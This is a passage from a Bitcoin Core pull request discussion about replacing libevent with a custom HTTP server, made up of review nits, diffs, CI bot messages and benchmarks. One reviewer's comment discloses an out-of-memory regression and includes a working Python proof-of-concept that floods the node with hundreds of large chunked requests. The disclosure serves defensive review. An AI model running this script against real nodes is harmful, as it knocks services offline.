    Concept ACK. I've tested this against https://github.com/0xb10c/mainnet-observer which fetches all mainnet blocks as JSON via the REST interface. It took nearly the same time to complete on master (1af8e0c4e895ebd159304ed86ac059bebeced1f8) and this PR (2c1deb632947c617f505bd81c4ec9f8acdbda0e1).

  40. pinheadmz referenced this in commit 1bca81aa22 on May 12, 2026
  41. pinheadmz force-pushed on May 12, 2026
  42. pinheadmz commented at 3:11 PM on May 12, 2026: member

    push to 1bca81aa22c697c4b0197822b2ed01e675544bbf

    Also added a specific line in the release notes about debugexclude=libevent which will, after this PR, cause an error on startup. I discovered that during integration testing with LND and will probably be a much more common breaking change than any of the HTTP protocol stuff.

  43. DrahtBot added the label CI failed on May 12, 2026
  44. DrahtBot commented at 4:13 PM on May 12, 2026: contributor

    <!--85328a0da195eb286784d51f73fa0af9-->

    🚧 At least one of the CI tasks failed. <sub>Task test ancestor commits: https://github.com/bitcoin/bitcoin/actions/runs/25743466333/job/75600145162</sub> <sub>LLM reason (✨ experimental): CTest failed because httpserver_tests crashed with a segmentation fault (SIGSEGV).</sub>

    <details><summary>Hints</summary>

    Try to run the tests locally, according to the documentation. However, a CI failure may still happen due to a number of reasons, for example:

    • Possibly due to a silent merge conflict (the changes in this pull request being incompatible with the current code in the target branch). If so, make sure to rebase on the latest commit of the target branch.

    • A sanitizer issue, which can only be found by compiling with the sanitizer and running the affected test.

    • An intermittent issue.

    Leave a comment here, if you need help tracking down a confusing failure.

    </details>

  45. pinheadmz referenced this in commit 37ff331f60 on May 12, 2026
  46. pinheadmz force-pushed on May 12, 2026
  47. pinheadmz commented at 6:29 PM on May 12, 2026: member

    push to 37ff331f60:

    • Fix a bug caught in the ancestor commits ci test: There was a potential race condition that could trigger a use-after-free in an intermediate commit. The issue was around usage of the CloseConnection() function which is only used temporarily in the unit tests and then eventually replaced in the commit "HTTPServer: disconnect clients"
  48. DrahtBot removed the label CI failed on May 12, 2026
  49. pinheadmz referenced this in commit 2bbad2ea1b on May 15, 2026
  50. pinheadmz force-pushed on May 15, 2026
  51. pinheadmz commented at 7:10 PM on May 15, 2026: member

    Push to 2bbad2ea1b:

    Instead of removing libevent logging category, deprecate it. This requires adding new logic to deprecate logging categories:

    • always "false"
    • trying to enable or disable logs a warning
    • removed from BCLog::ALL

    in other words:

    # no change
    bitcoind -debug
    
    # logs "[warning] The logging category `libevent` is deprecated, can not be enabled, and will be removed in a future version"
    bitcoind -debug=libevent
    
    # logs "[warning] The logging category `libevent` is deprecated and will be removed in a future version"
    bitcoind -debug -debugexclude=libevent
    
    # no change
    bitcoind -debug=foo
    Error: Unsupported logging category -debug=foo.
    
    

    I imagine this will come in handy when we remove leveldb 😏

  52. in src/util/string.cpp:40 in 2bbad2ea1b outdated
      36 | @@ -37,7 +37,7 @@ std::optional<std::string> LineReader::ReadLine()
      37 |          // The \n itself does not count against max_line_length.
      38 |          if (c == '\n') {
      39 |              const std::string_view untrimmed_line(reinterpret_cast<const char*>(std::to_address(line_start)), count);
      40 | -            const std::string_view line = TrimStringView(untrimmed_line); // delete leading and trailing whitespace including \r and \n
      41 | +            const std::string_view line = TrimStringView(untrimmed_line, /*pattern=*/"\r\n"); // delete trailing CRLF
    


    hodlinator commented at 1:25 PM on May 18, 2026:

    nit:

                const std::string_view line = TrimStringView(untrimmed_line, /*pattern=*/"\r\n"); // delete surrounding CRLF
    

    pinheadmz commented at 2:54 PM on May 19, 2026:

    Had to replace this anyway because of the \r\r\n case

  53. in src/httpserver.cpp:1212 in 2bbad2ea1b outdated
    1460 | +        return false;
    1461 | +    }
    1462 | +
    1463 | +    LogDebug(BCLog::HTTP, "Initialized HTTP server");
    1464 | +
    1465 | +    g_max_queue_depth = std::max((long)gArgs.GetIntArg("-rpcworkqueue", DEFAULT_HTTP_WORKQUEUE), 1L);
    


    hodlinator commented at 1:35 PM on May 18, 2026:

    Another args simplification:

        g_max_queue_depth = std::max(gArgs.GetArg<int>("-rpcworkqueue", DEFAULT_HTTP_WORKQUEUE), 1);
    

    pinheadmz commented at 6:13 PM on May 19, 2026:

    ah thanks and sorry i didn't catch this one already

  54. fanquake referenced this in commit e01e70388b on May 18, 2026
  55. pinheadmz referenced this in commit a2c3548053 on May 18, 2026
  56. pinheadmz force-pushed on May 18, 2026
  57. pinheadmz commented at 2:53 PM on May 18, 2026: member

    push to a2c3548053:

    • Cover one more edge case (bare \r in headers) found by Http11Probe, and adding complete results to PR description
  58. dergoegge commented at 3:42 PM on May 18, 2026: member

    Saw this assertion being hit during shutdown with a test running on Antithesis (while testing #34411):

    httpserver.h:193 virtual http_bitcoin::HTTPServer::~HTTPServer(): Assertion `m_connected.empty()' failed.
    

    debug.log

    antithesis.log

  59. in src/httpserver.cpp:540 in 2bbad2ea1b outdated
     636 | -    boundSockets.clear();
     637 | -    {
     638 | -        if (const auto n_connections{g_requests.CountActiveConnections()}; n_connections != 0) {
     639 | -            LogDebug(BCLog::HTTP, "Waiting for %d connections to stop HTTP server\n", n_connections);
     640 | +            if (needs_body) {
     641 | +                res.m_headers.Write("Content-Length", strprintf("%d", reply_body.size()));
    


    hodlinator commented at 5:28 PM on May 18, 2026:

    nit: Hopefully slightly more performant:

                    res.m_headers.Write("Content-Length", util::ToString(reply_body.size()));
    

    pinheadmz commented at 6:12 PM on May 19, 2026:

    👍

  60. in src/httpserver.cpp:1258 in 2bbad2ea1b outdated
    1517 | +                LogWarning("Timeout waiting for HTTP clients to disconnect gracefully, continuing shutdown");
    1518 | +                break;
    1519 | +            }
    1520 | +            std::this_thread::sleep_for(50ms);
    1521 | +            --timeout;
    1522 | +        }
    


    hodlinator commented at 5:45 PM on May 18, 2026:

    sleep_for() only guarantees that it will sleep at least the given duration^1. With things like Antithesis, time is likely intended to pass quicker for cases like these.

            const auto deadline{NodeClock::now() + 30s};
            while (g_http_server->GetConnectionsCount() != 0) {
                if (NodeClock::now() > deadline) {
                    LogWarning("Timeout waiting for HTTP clients to disconnect gracefully, continuing shutdown");
                    break;
                }
                std::this_thread::sleep_for(50ms);
            }
    

    pinheadmz commented at 6:18 PM on May 19, 2026:

    using deadline = now + 30s here

  61. pinheadmz referenced this in commit f25b2c72a5 on May 18, 2026
  62. pinheadmz force-pushed on May 18, 2026
  63. pinheadmz commented at 6:14 PM on May 18, 2026: member

    push to f25b2c72a5:

    The bug was a race condition during shutdown: in the instant between connection count reaching 0 and actually closing the listening socket, a new client could connect and get stuck in m_connected when the server was destructed, a failure state covered by the assertion suggested by @hodlinator (thanks!)

    Solution is adding an atomic_bool to stop accepting new connections at the beginning of the shutdown process.

  64. in src/test/httpserver_tests.cpp:164 in f25b2c72a5
     168 | +        util::LineReader reader{std::string_view{"X-Custom: foo\0bar\n", 18}, /*max_line_length=*/MAX_HEADERS_SIZE};
     169 | +        BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"Header contains invalid character"});
     170 | +    }
     171 | +    {
     172 | +        // contains bare \r (not followed by \n)
     173 | +        util::LineReader reader{std::string_view{"X-Custom: foo\rbar\n", 18}, /*max_line_length=*/MAX_HEADERS_SIZE};
    


    hodlinator commented at 8:10 PM on May 18, 2026:

    nit: No null terminator, so string literal is sufficient.

            util::LineReader reader{"X-Custom: foo\rbar\n", /*max_line_length=*/MAX_HEADERS_SIZE};
    

    pinheadmz commented at 2:12 PM on May 19, 2026:

    👍

  65. in src/test/httpserver_tests.cpp:166 in f25b2c72a5 outdated
     170 | +    }
     171 | +    {
     172 | +        // contains bare \r (not followed by \n)
     173 | +        util::LineReader reader{std::string_view{"X-Custom: foo\rbar\n", 18}, /*max_line_length=*/MAX_HEADERS_SIZE};
     174 | +        BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"Header contains invalid character"});
     175 | +    }
    


    hodlinator commented at 8:13 PM on May 18, 2026:

    Should this also be expected to fail or not?

        {
            // contains odd \r preceding the expected \registered\nurses
            util::LineReader reader{"X-Custom: foo\r\r\n", /*max_line_length=*/MAX_HEADERS_SIZE};
            BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"Header contains invalid character"});
        }
    

    pinheadmz commented at 2:27 PM on May 19, 2026:

    Heh, good catch, it should fail and this requires an update to LineReader which currently overkills with TrimStringView(). That's been updated to surgically remove \n or \r\n only.

    I checked the http11probe tests and actually this edge case (line ending with \r\r\n) is missing ;-)

  66. in src/test/httpserver_tests.cpp:205 in f25b2c72a5
     209 | +    HTTPResponse res;
     210 | +    res.m_version_major = 1;
     211 | +    res.m_version_minor = 1;
     212 | +    res.m_status = HTTP_OK;
     213 | +    res.m_reason = HTTPStatusReasonString(res.m_status);
     214 | +    std::span result{std::as_bytes(std::span{std::string_view{R"({"result":865793,"error":null,"id":null})"}})};
    


    hodlinator commented at 8:38 PM on May 18, 2026:

    nit: Apparently span lets us peel away one intermediate type:

        std::span result{std::as_bytes(std::span{R"({"result":865793,"error":null,"id":null})"})};
    

    pinheadmz commented at 2:43 PM on May 19, 2026:

    👍

  67. in src/test/httpserver_tests.cpp:197 in f25b2c72a5
     201 | +
     202 | +BOOST_AUTO_TEST_CASE(http_response_tests)
     203 | +{
     204 | +    // Typical HTTP 1.1 response headers
     205 | +    HTTPHeaders headers{};
     206 | +    headers.Write("Content-Length", "41");
    


    hodlinator commented at 8:53 PM on May 18, 2026:

    Instead of hardcoding this in 2 places we could do:

        const std::span body{std::as_bytes(std::span{R"({"result":865793,"error":null,"id":null})"})};
        // Typical HTTP 1.1 response headers
        HTTPHeaders headers{};
        headers.Write("Content-Length", util::ToString(body.size()));
        ...
        res.m_body.assign(body.begin(), body.end());
    

    That makes 41 be a calculated value in the first case, and also makes the renamed body data actually be used in this function.


    pinheadmz commented at 2:42 PM on May 19, 2026:

    yes, using calculated content length value here

  68. in src/httpserver.cpp:484 in f25b2c72a5 outdated
     565 | +        // We read all the chunks but never got the last chunk, wait for client to send more
     566 | +        return false;
     567 | +    } else {
     568 | +        // No Content-length or Transfer-Encoding header means no body, see libevent evhttp_get_body()
     569 | +        auto content_length_values{m_headers.FindAll("Content-Length")};
     570 | +        if (content_length_values.empty()) return true;
    


    hodlinator commented at 9:01 PM on May 18, 2026:

    In #34342 the lack of Transfer-Encoding and Content-Length has the client instead load all data into the body until EOF from the socket. Why should the server behavior not be consistent? - Is the new client wrong to do that? I guess it's HTTP 1.0 behavior and we only support HTTP 1.1 in the server?


    pinheadmz commented at 6:10 PM on May 19, 2026:

    Interesting, I hadn't noticed that on the client side but in fact yes according to the HTTP 1.1 RFC, client and server behave differently:

    https://httpwg.org/specs/rfc9112.html#rfc.section.6.3

    If this is a request message and none of the above are true, then the message body length is zero (no message body is present).

    Otherwise, this is a response message without a declared message body length, so the message body length is determined by the number of octets received prior to the server closing the connection.

    As far as I can tell in the 30-year-old HTTP 1.0 spec, Content-Length is also required for any request body:

    https://www.rfc-editor.org/rfc/rfc1945#section-10.4

    A valid Content-Length field value is required on all HTTP/1.0 request messages containing an entity body.

  69. in src/httpserver.h:197 in f25b2c72a5
     245 |  
     246 | -    /** Get request method.
     247 | +    explicit HTTPServer(std::function<void(std::unique_ptr<HTTPRequest>&&)> func)
     248 | +    {
     249 | +        SetRequestHandler(std::move(func));
     250 | +    }
    


    hodlinator commented at 9:23 PM on May 18, 2026:

    nit: It's fine to not protect members by locking mutexes in the constructor as no outer context has access to the object until the constructor completes:

        explicit HTTPServer(std::function<void(std::unique_ptr<HTTPRequest>&&)> func)
            : m_request_dispatcher{std::move(func)} {}
    

    pinheadmz commented at 6:27 PM on May 19, 2026:

    ok i'll take out the helper function in the constructor. I thought it provided a readability or code-grepping advantage but you're right, avoiding an unecessary lock makes more sense.

  70. in src/httpserver.h:429 in f25b2c72a5
     524 | +std::optional<std::string> GetQueryParameterFromUri(std::string_view uri, std::string_view key);
     525 |  
     526 | -/** Event class. This can be used either as a cross-thread trigger or as a timer.
     527 | - */
     528 | -class HTTPEvent
     529 | +class HTTPClient
    


    hodlinator commented at 9:26 PM on May 18, 2026:

    nit: How about renaming this to disambiguate it further from #34342's HTTPClient?

    class HTTPRemoteClient
    

    ...or move it into the HTTPServer scope - HTTPServer::Client? ...or have a bitcoin_http_server namespace?


    pinheadmz commented at 6:46 PM on May 19, 2026:

    Heh you're right, I didn't want to but it makes sense to rename it to HTTPRemoteClient so there can be a HTTPLocalClient on the other end.

  71. in src/httpserver.h:53 in f25b2c72a5 outdated
      65 | -void StartHTTPServer();
      66 | -/** Interrupt HTTP server threads */
      67 | -void InterruptHTTPServer();
      68 | -/** Stop HTTP server */
      69 | -void StopHTTPServer();
      70 | +namespace http_bitcoin {
    


    hodlinator commented at 7:41 AM on May 19, 2026:

    IMO this should be bitcoin_http. It's the Bitcoin (Core) implementation of HTTP protocol, not an implementation of the bitcoin-parts of the HTTP protocol. So parent directory describing the local project + subdirectory describing a subdomain feels more natural.


    pinheadmz commented at 6:23 PM on May 19, 2026:

    In the intermediate commits, the use of namespaces is just to differentiate between the two http implementations...

    • http_libevent
    • http_bitcoin ...because both namespaces have classes like HTTPRequest

    Otherwise I see your point. Also, by the end of the PR there's no need to have "bitcoin" in the name at all (it's in the repository name!). Or for that matter since there is only one HTTP implementation at the end, the namespace could probably be removed entirely.

    I'll leave as-is for now to see if you prefer removing the namespace entirely at the very end or just letting it ride.

  72. in doc/release-notes-35182.md:14 in f25b2c72a5
       9 | +
      10 | +Certain HTTP edge cases will observe different behavior to be more RFC-compliant:
      11 | +
      12 | +- Stricter enforcement of maximum headers size (8192 bytes)
      13 | +- Reject requests with whitespace in headers field-names
      14 | +- "Line Folding" is rejected (whitespace at start of a headers line)
    


    hodlinator commented at 9:31 AM on May 19, 2026:

    More correct in singular form?

    - Reject requests with whitespace in header field-names
    - "Line Folding" is rejected (whitespace at start of a header line)
    

    pinheadmz commented at 1:55 PM on May 19, 2026:

    👍

  73. in src/httpserver.cpp:121 in f25b2c72a5
     127 | +        using enum HTTPRequestMethod;
     128 | +        case GET: return "GET";
     129 | +        case POST: return "POST";
     130 | +        case HEAD: return "HEAD";
     131 | +        case PUT: return "PUT";
     132 | +        case UNKNOWN: return "unknown";
    


    hodlinator commented at 9:40 AM on May 19, 2026:

    nanonit: Seems more common to align case indent with switch. Maybe using enum part could be moved outside switch if decreasing its indentation feels wrong?

        using enum HTTPRequestMethod;
        case GET: return "GET";
        case POST: return "POST";
        case HEAD: return "HEAD";
        case PUT: return "PUT";
        case UNKNOWN: return "unknown";
    

    pinheadmz commented at 2:55 PM on May 19, 2026:

    👍

  74. in src/logging/categories.h:54 in f25b2c72a5
      50 | +    // Remove deprecated categories from ALL
      51 | +    ALL = ~(LIBEVENT),
      52 |  };
      53 |  
      54 | +constexpr CategoryMask DEPRECATED_CATEGORIES =
      55 | +    NONE | LIBEVENT;
    


    hodlinator commented at 9:45 AM on May 19, 2026:

    nit: Could be made less repetitive?

        DEPRECATED = LIBEVENT,
        // Remove deprecated categories from ALL
        ALL = ~(DEPRECATED),
    };
    

    pinheadmz commented at 2:06 PM on May 19, 2026:

    Ah thanks, taking this. I was avoiding adding a new category to this list that wouldn't have a corresponding string, but that's not actually enforced anywhere, so this is cleaner.

  75. in src/httpserver.cpp:305 in f25b2c72a5
     356 | +    // Headers https://httpwg.org/specs/rfc9110.html#rfc.section.6.3
     357 | +    // A sequence of Field Lines https://httpwg.org/specs/rfc9110.html#rfc.section.5.2
     358 | +    while (auto maybe_line = reader.ReadLine()) {
     359 | +        if (reader.Consumed() > MAX_HEADERS_SIZE) throw std::runtime_error("HTTP headers exceed size limit");
     360 | +
     361 | +        const std::string& line = *maybe_line;
    


    hodlinator commented at 11:51 AM on May 19, 2026:

    Noticed the PR description states:

    There appears to be a 1-2% slow down on Ubuntu and MacOS but a 5% speed up on Windows

    I've been experimenting with making LineReader return string_view instead and it seems to deliver an almost 1% speed up (not much, but pretty clear signal).

    Benchmarking approach

    exercise REST interface which hopefully doesn't actually do much, since we are more interested in measuring the overhead.

    ./build/bin/bitcoind -rest -noconnect
    
    hey -n 5000000 -c 14 -cpus 14 http://127.0.0.1:8332/rest/headers/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f.bin?count=1
    

    string_view results

    Total: 54.0753 secs Total: 54.0719 secs Total: 53.9186 secs

    string results

    Total: 54.4270 secs Total: 54.4189 secs Total: 54.3816 secs

    <details><summary>string_view LineReader diff</summary>

    diff --git a/src/httpserver.cpp b/src/httpserver.cpp
    index db45d31f21..ab02b6fe8f 100644
    --- a/src/httpserver.cpp
    +++ b/src/httpserver.cpp
    @@ -35,6 +35,7 @@
     #include <optional>
     #include <span>
     #include <string>
    +#include <string_view>
     #include <thread>
     #include <unordered_map>
     #include <vector>
    @@ -306,7 +307,7 @@ bool HTTPHeaders::Read(util::LineReader& reader)
         while (auto maybe_line = reader.ReadLine()) {
             if (reader.Consumed() > MAX_HEADERS_SIZE) throw std::runtime_error("HTTP headers exceed size limit");
     
    -        const std::string& line = *maybe_line;
    +        const std::string_view& line = *maybe_line;
     
             // An empty line indicates end of the headers section https://www.rfc-editor.org/rfc/rfc2616#section-4
             if (line.empty()) return true;
    @@ -317,18 +318,18 @@ bool HTTPHeaders::Read(util::LineReader& reader)
             // within any protocol elements other than the content.
             // A recipient of such a bare CR MUST consider that element to be invalid...
             // https://httpwg.org/specs/rfc9112.html#rfc.section.2.2
    -        if (line.find_first_of("\r\n\0", 0, 3) != std::string::npos) throw std::runtime_error("Header contains invalid character");
    +        if (line.find_first_of("\r\n\0", 0, 3) != std::string_view::npos) throw std::runtime_error("Header contains invalid character");
     
             // Header line must have at least one ":"
             // keys are not allowed to have delimiters like ":" but values are
             // https://httpwg.org/specs/rfc9110.html#rfc.section.5.6.2
             const size_t pos{line.find(':')};
    -        if (pos == std::string::npos) throw std::runtime_error("HTTP header missing colon (:)");
    +        if (pos == std::string_view::npos) throw std::runtime_error("HTTP header missing colon (:)");
     
             // Whitespace is strictly not allowed in the field-name (key)
             // https://www.rfc-editor.org/rfc/rfc9110.html#section-5.6.2
    -        std::string key = line.substr(0, pos);
    -        if (key.find_first_of(" \t") != std::string::npos) throw std::runtime_error("Invalid header field-name contains whitespace");
    +        std::string_view key = line.substr(0, pos);
    +        if (key.find_first_of(" \t") != std::string_view::npos) throw std::runtime_error("Invalid header field-name contains whitespace");
             // Whitespace is optional in the value and can be trimmed
             std::string value = util::TrimString(std::string_view(line).substr(pos + 1));
     
    @@ -337,7 +338,7 @@ bool HTTPHeaders::Read(util::LineReader& reader)
             // that can not be empty.
             if (key.empty()) throw std::runtime_error("Empty HTTP header name");
     
    -        Write(std::move(key), std::move(value));
    +        Write(std::string(key), std::move(value));
         }
     
         return false;
    @@ -365,7 +366,7 @@ bool HTTPRequest::LoadControlData(LineReader& reader)
     {
         auto maybe_line = reader.ReadLine();
         if (!maybe_line) return false;
    -    const std::string& request_line = *maybe_line;
    +    const std::string_view& request_line = *maybe_line;
     
         // Request Line aka Control Data https://httpwg.org/specs/rfc9110.html#rfc.section.6.2
         // Three words separated by spaces, terminated by \n or \r\n
    @@ -373,7 +374,7 @@ bool HTTPRequest::LoadControlData(LineReader& reader)
     
         // "Field values containing CR, LF, or NUL characters are invalid and dangerous"
         // https://httpwg.org/specs/rfc9110.html#rfc.section.5.5
    -    if (request_line.find('\0') != std::string::npos) throw std::runtime_error("Invalid request line contains NUL");
    +    if (request_line.find('\0') != std::string_view::npos) throw std::runtime_error("Invalid request line contains NUL");
     
         const std::vector<std::string_view> parts{Split<std::string_view>(request_line, " ")};
         if (parts.size() != 3) throw std::runtime_error("HTTP request line malformed");
    diff --git a/src/torcontrol.cpp b/src/torcontrol.cpp
    index 0893596d37..8c5357938a 100644
    --- a/src/torcontrol.cpp
    +++ b/src/torcontrol.cpp
    @@ -191,7 +191,7 @@ bool TorControlConnection::ProcessBuffer()
             // Parse: <code><separator><data>
             // <status>(-|+| )<data>
             m_message.code = ToIntegral<int>(line->substr(0, 3)).value_or(0);
    -        m_message.lines.push_back(line->substr(4));
    +        m_message.lines.emplace_back(line->substr(4));
             char separator = (*line)[3]; // '-', '+', or ' '
     
             if (separator == ' ') {
    diff --git a/src/util/string.cpp b/src/util/string.cpp
    index 3a2cfbdd65..34b6fa5521 100644
    --- a/src/util/string.cpp
    +++ b/src/util/string.cpp
    @@ -20,7 +20,7 @@ void ReplaceAll(std::string& in_out, const std::string& search, const std::strin
     LineReader::LineReader(std::span<const std::byte> buffer, size_t max_line_length)
         : start(buffer.begin()), end(buffer.end()), max_line_length(max_line_length), it(buffer.begin()) {}
     
    -std::optional<std::string> LineReader::ReadLine()
    +std::optional<std::string_view> LineReader::ReadLine()
     {
         if (it == end) {
             return std::nullopt;
    @@ -37,8 +37,7 @@ std::optional<std::string> LineReader::ReadLine()
             // The \n itself does not count against max_line_length.
             if (c == '\n') {
                 const std::string_view untrimmed_line(reinterpret_cast<const char*>(std::to_address(line_start)), count);
    -            const std::string_view line = TrimStringView(untrimmed_line, /*pattern=*/"\r\n"); // delete trailing CRLF
    -            return std::string(line);
    +            return TrimStringView(untrimmed_line, /*pattern=*/"\r\n"); // delete trailing CRLF
             }
             // If the character we just consumed gives us a line length greater
             // than max_line_length, and we are not at the end of the line (or buffer) yet,
    @@ -57,11 +56,11 @@ std::optional<std::string> LineReader::ReadLine()
     }
     
     // Ignores max_line_length but won't overflow
    -std::string LineReader::ReadLength(size_t len)
    +std::string_view LineReader::ReadLength(size_t len)
     {
    -    if (len == 0) return "";
    +    if (len == 0) return std::string_view{};
         if (Remaining() < len) throw std::runtime_error("Not enough data in buffer");
    -    std::string out(reinterpret_cast<const char*>(std::to_address(it)), len);
    +    std::string_view out(reinterpret_cast<const char*>(std::to_address(it)), len);
         it += len;
         return out;
     }
    diff --git a/src/util/string.h b/src/util/string.h
    index da4ce5a33a..c2fc5021a3 100644
    --- a/src/util/string.h
    +++ b/src/util/string.h
    @@ -280,7 +280,7 @@ struct LineReader {
          *          std::nullopt if end of buffer is reached without finding a \n.
          * [@throws](/bitcoin-bitcoin/contributor/throws/) a std::runtime_error if max_line_length + 1 bytes are read without finding \n.
          */
    -    std::optional<std::string> ReadLine();
    +    std::optional<std::string_view> ReadLine();
     
         /**
          * Returns string from current iterator position of specified length
    @@ -290,7 +290,7 @@ struct LineReader {
          * [@returns](/bitcoin-bitcoin/contributor/returns/) a string of the expected length.
          * [@throws](/bitcoin-bitcoin/contributor/throws/) a std::runtime_error if there is not enough data in the buffer.
          */
    -    std::string ReadLength(size_t len);
    +    std::string_view ReadLength(size_t len);
     
         /**
          * Returns remaining size of bytes in buffer
    

    </details>


    pinheadmz commented at 3:14 PM on May 19, 2026:

    ahh nice ok. I'll add to this PR as a pre-factor commit and we can open a separate PR with it to move things along.

  76. hodlinator commented at 12:18 PM on May 19, 2026: contributor

    Stared at f25b2c72a5694b843beef054d262fef649aa04ca for a bit.

  77. janb84 commented at 7:33 PM on May 19, 2026: contributor

    The dynamic duo has returned, we now teamed up with grok.

    Sorry @pinheadmz, I think the PR is close but "we" found still some regression to crash the node:.

    **Disclaimer: found using vuln. discovery with claude and grok. ( manually checked/ POC creation) ** ** Disclaimer 2: error does not occur on master so POC is harmless to disclose **

    The regression is of type CWE-400 - Uncontrolled Resource Consumption

    There is no limit on the number of concurrent connections (m_connected vector in httpserver.cpp). Combined with the fact that the IP allow-list check (ClientAllowed()) is only performed after fully reading and buffering a request body of up to 32 MiB (MAX_BODY_SIZE), an (un-allowed / unauthorized) remote attacker can exhaust the node's memory by opening many connections and sending large requests.

    There is also a slow-loris style possible attack, possible.

    I have tried several options how to solve these issues, but in the end I got some inspiration form NGINX, they introduce a state-machine to handle the connection state. All suggestions are working towards introducing that and resolving the issues during the different states.

    Due to the number of changes (statemachine introduction) please see https://github.com/bitcoin/bitcoin/commit/9d566b2f030dca3171a27af8cb1c1b4c48cbe3f4 for my suggestion of changes to fix the OOM issues.

    <details> <summary>PoC</summary>

    Start the node with limited memory:

    systemd-run --user --scope -p MemoryMax=2G -p MemorySwapMax=0 ./bitcoind -regtest -debug=net -debug=http
    

    run the PoC:

    <details>

    #!/usr/bin/env python3
    import socket
    import time
    import threading
    import sys
    
    TARGET_HOST = "127.0.0.1"
    TARGET_PORT = 18443  # regtest 
    BODY_SIZE = 30 * 1024 * 1024        # 30 MiB - safe under limit
    NUM_CONNECTIONS = 250
    CHUNK_SIZE = 512 * 1024             # 512 KB chunks
    
    def send_large_chunked_request(conn_id):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(60)
            sock.connect((TARGET_HOST, TARGET_PORT))
    
            headers = (
                f"POST / HTTP/1.1\r\n"
                f"Host: {TARGET_HOST}\r\n"
                f"Content-Type: application/json\r\n"
                f"Transfer-Encoding: chunked\r\n"
                f"Connection: close\r\n"
                f"\r\n"
            ).encode()
    
            sock.sendall(headers)
    
            sent = 0
            while sent < BODY_SIZE:
                remaining = BODY_SIZE - sent
                this_chunk = min(CHUNK_SIZE, remaining)
                data = b"X" * this_chunk
    
                sock.sendall(f"{this_chunk:x}\r\n".encode())
                sock.sendall(data)
                sock.sendall(b"\r\n")
    
                sent += this_chunk
    
                if sent % (5 * 1024 * 1024) == 0:
                    print(f"Conn {conn_id:2d}: Sent {sent // (1024*1024):3d} MiB")
    
            sock.sendall(b"0\r\n\r\n")
    
            sock.close()
        except Exception as e:
            print(f"Conn {conn_id:2d}: Error {e}")
    
    def main():
        print(f"Starting {NUM_CONNECTIONS} conns")
        threads = []
    
        for i in range(NUM_CONNECTIONS):
            t = threading.Thread(target=send_large_chunked_request, args=(i,))
            t.daemon = True
            t.start()
            threads.append(t)
            time.sleep(0.15)       
    
        print(f"All {NUM_CONNECTIONS} threads launched. ")
    
        try:
            while True:
                time.sleep(5)
                # Keep script alive
                pass
        except KeyboardInterrupt:
            print("\nStopping...")
    
    if __name__ == "__main__":
        main()
    

    </details>

    This will result in a OOM

    To monitor OOM progression:

     watch -n 1 'ps -p $(pidof bitcoind) -o rss,vsz,pmem'
    

    </details>

  78. pinheadmz referenced this in commit 0edada45c7 on May 19, 2026
  79. pinheadmz force-pushed on May 19, 2026
  80. pinheadmz commented at 11:26 PM on May 19, 2026: member

    push to 0edada45c70a02fde343b6a02144fdc34d1eae65

    • Address review from @hodlinator, mostly nits and small improvements. Biggest change is renaming HTTPClient to HTTPRemoteClient and using string_view in LineReader which can may be split off into another PR. @janb84 I see you and grok-claude found something, will address that next ;-)
  81. DrahtBot added the label CI failed on May 20, 2026
  82. DrahtBot commented at 12:18 AM on May 20, 2026: contributor

    <!--85328a0da195eb286784d51f73fa0af9-->

    🚧 At least one of the CI tasks failed. <sub>Task test ancestor commits: https://github.com/bitcoin/bitcoin/actions/runs/26131449333/job/76857252372</sub> <sub>LLM reason (✨ experimental): CTest failed due to failing unit tests in util_string_tests (line_reader_test), where ReadLine() returned incorrect (corrupted) output.</sub>

    <details><summary>Hints</summary>

    Try to run the tests locally, according to the documentation. However, a CI failure may still happen due to a number of reasons, for example:

    • Possibly due to a silent merge conflict (the changes in this pull request being incompatible with the current code in the target branch). If so, make sure to rebase on the latest commit of the target branch.

    • A sanitizer issue, which can only be found by compiling with the sanitizer and running the affected test.

    • An intermittent issue.

    Leave a comment here, if you need help tracking down a confusing failure.

    </details>

  83. pinheadmz referenced this in commit 2c4a01bace on May 20, 2026
  84. pinheadmz force-pushed on May 20, 2026
  85. pinheadmz commented at 12:24 AM on May 20, 2026: member

    push to 2c4a01bace

    • fix rebase error that broke CI ancestor commit test
  86. DrahtBot removed the label CI failed on May 20, 2026
  87. in test/functional/interface_http.py:563 in 80a4c761f0 outdated
     558 | +
     559 | +    def check_whitespace_in_headers(self):
     560 | +        # Extra whitespace before colon in header.
     561 | +        # This request should be rejected entirely but libevent handles it oddly:
     562 | +        # It allows the header and includes the trailing space in the header field-name.
     563 | +        # Authorization fails becuase "Authorization " != "Authorization"
    


    fjahr commented at 8:37 PM on May 20, 2026:

    in 80a4c761f015e631d5e72b4560f8f79c8f29e386:

    nit: becuase -> because


    pinheadmz commented at 6:30 PM on May 22, 2026:

    👍

  88. in test/functional/interface_http.py:445 in 80a4c761f0 outdated
     440 | +    def check_disallowed_http_methods(self):
     441 | +        self.log.info("Check that unsafe or unsupported HTTP methods are rejected")
     442 | +        for method in ['TRACE', 'CONNECT', 'DELETE', 'PATCH', 'OPTIONS']:
     443 | +            conn = BitcoinHTTPConnection(self.node)
     444 | +            response = conn._request(method, '/', data=None, connection_header=None)
     445 | +            assert response.status in [http.client.METHOD_NOT_ALLOWED, http.client.NOT_IMPLEMENTED]
    


    fjahr commented at 8:42 PM on May 20, 2026:

    in 80a4c761f015e631d5e72b4560f8f79c8f29e386:

    Can't we check one or the other explicitly here? Maybe document with a comment if this is really necessary.


    pinheadmz commented at 6:26 PM on May 22, 2026:

    Sure, made these error checks explicit.

  89. in test/functional/interface_http.py:495 in 80a4c761f0 outdated
     490 | +            f"POST / HTTP/1.1\r\n"
     491 | +            f"Host: {conn.url.hostname}\r\n"
     492 | +            f"Authorization: Basic {str_to_b64str(conn.authpair)}\r\n"
     493 | +            f"Content-Length: {len(chunk_size_line)}\r\n"
     494 | +            f"Transfer-Encoding: chunked\r\n"
     495 | +            f"\r\n"
    


    fjahr commented at 8:44 PM on May 20, 2026:

    in 80a4c761f015e631d5e72b4560f8f79c8f29e386:

    There could be some deduplication here (I see this or similar code at least 3 times here)

      def build_raw_request(self, method, path, extra_headers=(), body=b""):
          lines = [f"{method} {path} HTTP/1.1",
                   f"Host: {self.url.hostname}",
                   f"Authorization: Basic {str_to_b64str(self.authpair)}"]
          lines.extend(extra_headers)
